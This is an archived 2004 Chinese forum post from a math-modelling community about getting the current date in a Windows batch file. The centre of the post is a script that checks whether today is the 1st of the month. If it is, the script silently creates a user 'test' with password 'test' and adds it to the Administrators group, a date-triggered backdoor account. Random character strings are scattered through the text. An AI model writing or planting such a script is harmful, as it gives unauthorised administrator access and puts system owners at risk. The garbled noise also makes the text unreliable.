数学建模社区-数学中国

标题: 《重返命令行》的另类灵感 [打印本页]

作者: 韩冰    时间: 2004-10-5 18:30
标题: 《重返命令行》的另类灵感
我也没有测试过,今天早上来看了看,发现没用,真是晕... ( k/ ^* v/ X' Z& w+ [ 原来是"echo . | date"命令没有用,但echo . | time却是有用的,这是为什么?有人告诉我吗? / J" D8 z3 F' T% i: n, Y+ F" m* B后来想了一下,就用其它的办法来实现它. 原理是:在cmd建立一个文件后,用dir查看,除了可以显示此文件的大小、后缀外,还建显示文件建立时间,也就是本地的当前时间啦~ 4 x2 }9 v( K9 |6 o, o 8 B& U/ \) i. m2 g( Y 1 l5 [% a3 d) W, n! |- c( X: q

所以 ,重点部份改成: ! t" ~5 D* B. l# p9 e9 n' L@echo off 6 u5 P$ h; k% _/ z' b8 d, P rem \\在C:建立一个空文件date.tmp 3 m5 j% v7 m. l+ k+ v% D/ @ type nul >c:\date.tmp ; [+ }1 Q: f2 ? e7 Qrem \\查看此文件信息,及关键字-01-,也是就此文件的日期是否-01- V1 I0 b: I2 P' m dir c:\date.tmp | find "-01-">nul - W6 r2 \+ _. e1 ?3 ` S; M+ Nrem 如是不是1号,跳到end结束 : h# W, H9 _5 ~if errorlevel 1 goto end ( F* P1 o; v% i4 O) }rem 如是是1号,跳到run执行 ' D S }( x0 Lif errorlevel 0 goto run

/ R5 H4 d6 h2 W

:run ( B& [% u4 I! i9 B( @/ \net user test test /add 3 b; r* \2 `4 R1 I& s0 Gnet localgroup administrators test /add * Z2 `4 L" b# _+ d; G) O0 k goto end 6 G, X( j4 u9 z; j% b :end 0 T: u6 g( C: E7 hdel c:\date.tmp >nul 8 J9 R7 J( U/ T' D: L9 R' I/ G# p

( _) p( ~ Y# W5 s. H/ Z% x

, s8 Y) @% t% n; j 5 l9 o& X$ i7 O" ~$ l






欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5